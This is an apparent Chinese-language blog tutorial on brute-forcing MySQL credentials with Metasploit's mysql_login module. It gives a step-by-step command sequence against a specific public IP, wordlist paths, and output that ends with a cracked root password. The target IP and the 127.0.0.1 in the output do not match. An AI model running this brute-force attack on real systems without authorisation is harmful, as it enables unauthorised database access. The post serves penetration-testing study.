-
nmap掃出3306埠的話,就往下;
-
搜索漏洞
msf > search mysql_login
- 使用該漏洞
msf > use auxiliary/scanner/mysql/mysql_login
- 查看該漏洞用法
msf auxiliary(mysql_login) > show options
- 向rhosts輸入ip,看到可以正常訪問mysql
msf auxiliary(mysql_login) > set rhosts 121.42.27.192
- 找一個測驗爆破的用戶名字典和密碼字典進行爆破
msf auxiliary(mysql_login) > set user_file /usr/share/metasploit-framework/data/wordlists/unix_users.txt
msf auxiliary(mysql_login) > set pass_file /usr/share/sparta/wordlists/mysql-default-userpass.txt
- run
msf auxiliary(mysql_login) > run
# 運行可以查看到mysql版本為 MySQL version 5.7.29
[+] 127.0.0.1:3306 - 127.0.0.1:3306 - Found remote MySQL version 5.7.29
[-] 127.0.0.1:3306 - 127.0.0.1:3306 - LOGIN FAILED: root: (Incorrect: Access denied for user 'root'@'localhost' (using password: NO))
......
[-] 127.0.0.1:3306 - 127.0.0.1:3306 - LOGIN FAILED: root:111 (Incorrect: Access denied for user 'root'@'localhost' (using password: YES))
[+] 127.0.0.1:3306 - 127.0.0.1:3306 - Success: 'root:12345678'
[*] 127.0.0.1:3306 - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
# 看到綠色加號[+] 即為破解成功!
轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/21012.html
標籤:其他
上一篇:msf ssh port:22
下一篇:Brute Force暴力破解
